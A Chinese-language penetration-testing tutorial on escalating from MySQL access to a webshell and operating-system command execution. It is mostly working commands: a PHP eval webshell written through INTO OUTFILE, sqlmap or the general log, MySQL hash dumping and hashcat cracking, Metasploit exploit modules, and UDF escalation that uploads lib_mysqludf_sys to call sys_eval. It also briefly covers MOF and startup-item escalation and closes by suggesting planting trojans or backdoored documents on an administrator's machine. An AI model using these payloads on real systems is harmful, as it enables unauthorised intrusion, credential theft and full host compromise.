一、权限获取
数据库操作权限
提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:
1、MySQL 3306 端口弱口令爆破
2、sqlmap 注入的 --sql-shell 模式
3、网站的数据库配置文件中拿到明文密码信息
4、CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限
二、获取webshell权限
1、into oufile 写 shell
条件:
1、知道网站物理路径
2、高权限数据库用户
3、load_file() 开启 即 secure_file_priv 无限制
4、网站路径有写入权限
首先基础语法查询是否 secure_file_priv 没有限制
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows
环境下成功率会很高。
2、日志文件写 shell
条件:
1、Web 文件夹宽松权限可以写入
2、Windows 系统下
3、高权限运行 MySQL 或者 Apache
步骤
show variables like '%general%'; 查看日志状态
SET GLOBAL general_log='on' 开启日志读写
SET GLOBAL general_log_file='xxx.php' 指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>' 写日志进xxx.php
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量
来 getshell
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+
# 往日志里面写入 payload
select '<?php phpinfo();?>';
# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%'
201031 21:15:34 40 Query select '<?php phpinfo();?>
这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php
Apache
访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows
系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
前面分别介绍了数据库权限
和 Webshell 权限
,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。
三、MySQL 提权
1、Hash 获取与解密
假设存在 SQL 注入 DBA
权限,如果目标 3306
端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash
来解密:
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+
获取到的 MySQL Hash 值可以通过一些在线网站来解密
也可以通过 Hashcat
来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:
hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O
-a 破解模式
指定要使用的破解模式,其值参考后面对参数
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight # 直接字典破解
1 | Combination # 组合破解
3 | Brute-force # 掩码暴力破解
6 | Hybrid Wordlist + Mask # 字典+掩码破解
7 | Hybrid Mask + Wordlist # 掩码+字典破解
-m 破解hash类型
指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:
12 | PostgreSQL | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
...
–force
忽略破解过程中的警告信息
-O
–optimized-kernel-enable 启用优化的内核(限制密码长度)
关于更多 Hashcat 的详细教程参考:国关Hashcat学习记录
2、MySQL 历史上的漏洞
(1)aSSL 缓冲区溢出
MySQL yaSSL SSL Hello Message Buffer Overflow
这个缓冲区溢出漏洞 2008 年开始被曝出来,距离现在已经十几年的历史了,所以这里没有找到对应的环境测试,不过 MSF 里面已经集成好了对应的模块了:
msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello
有条件的朋友可以搭建这个漏洞对应的靶场环境
Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt
(2)CVE-2012-2122
知道用户名多次输入错误的密码
会有几率可以直接成功登陆进数据库,可以循环 1000
次登陆数据库:
MSF
里面也有了对应的脚本模块可以直接使用,成功后会直接 DUMP 出 MySQL 的 Hash 值:
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run
这个 MySQL 的 Hash 解密出的结果为 123456
(3)UDF 提权
自定义函数
,是数据库功能的一种扩展。用户通自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便
手工复现
动态链接库
如果是 MySQL >= 5.1
的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin
文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap
和 Metasploit
里面都自带了对应系统的动态链接库文件。
sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql
不过 sqlmap
中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap
自带的解码工具cloak.py
来解码使用,cloak.py
的位置为:/extra/cloak/cloak.py
,解码方法如下:
# 查看当前目录情况
➜ pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
# 查看当前目录下的情况
➜ ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll
Metasploit 的 UDF
动态链接库文件位置
MSF 根目录/embedded/framework/data/exploits/mysql
Metasploit
自带的动态链接库文件无需解码,开箱即可食用。
这里使用 010-Editor
对比了 metsaploit
自带的与 sqlmap
解码后的动态链接库文件,发现他们的内容一模一样。
下面来看下动态链接库里面有包含了哪些函数:
寻找插件目录
接下来的任务是把 UDF
的动态链接库文件放到 MySQL
的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
如果不存在的话可以在 webshell
中找到 MySQL 的安装目录然后手工创建 \lib\plugin
文件夹:
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
通过 NTFS ADS
流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来:
mysql> select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+
写入动态链接库
写入动态链接库可以分为下面几种情形:
SQL 注入且是高权限
,plugin
目录可写且需要 secure_file_priv
无限制,MySQL 插件目录可以被 MySQL 用户写入
,这个时候就可以直接使用 sqlmap
来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入
才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
(1)如果没有注入的话,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv
无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex
函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
为了方便大家直接复制,在线网站:MySQL UDF 提权十六进制查询
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
如果看到这个报错,因为 lib_mysqludf_sys_64.dll
失败,最后使用 lib_mysqludf_sys_32.dll
才成功,所以这里的 dll
应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的
创建自定义函数并调用命令
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval
:
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
这里的 sys_eval
支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
mysql > select sys_eval('whoami');
如果在 Windows 系统下的话应该就是最高权限
了,执行一些 net user 增加用户的命令应该都是可以成功的
删除自定义函数
mysql > drop function sys_eval;
跟多提取方法参考:国关
反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些
MOF 提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003
的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的 mof
文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD
来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了
启动项提权
这种提权也常见于 Windows
环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行
CVE-2016-6663
。。。。
文章总结
现在文章思路慢慢变成了 MySQL 可操控文件怎么将这个危害扩大影响的问题了。可以往管理员桌面上写一个伪造的 CS 木马,如果对方 Office 有漏洞的话可以写入一个带后门的 word 文件,也可以篡改用户常执行的文件等 这样发散开来就变的很广了,总之实际场景实际分析,大家在渗透的时候也可以多多思考更多的可能性,万一就成功了呢。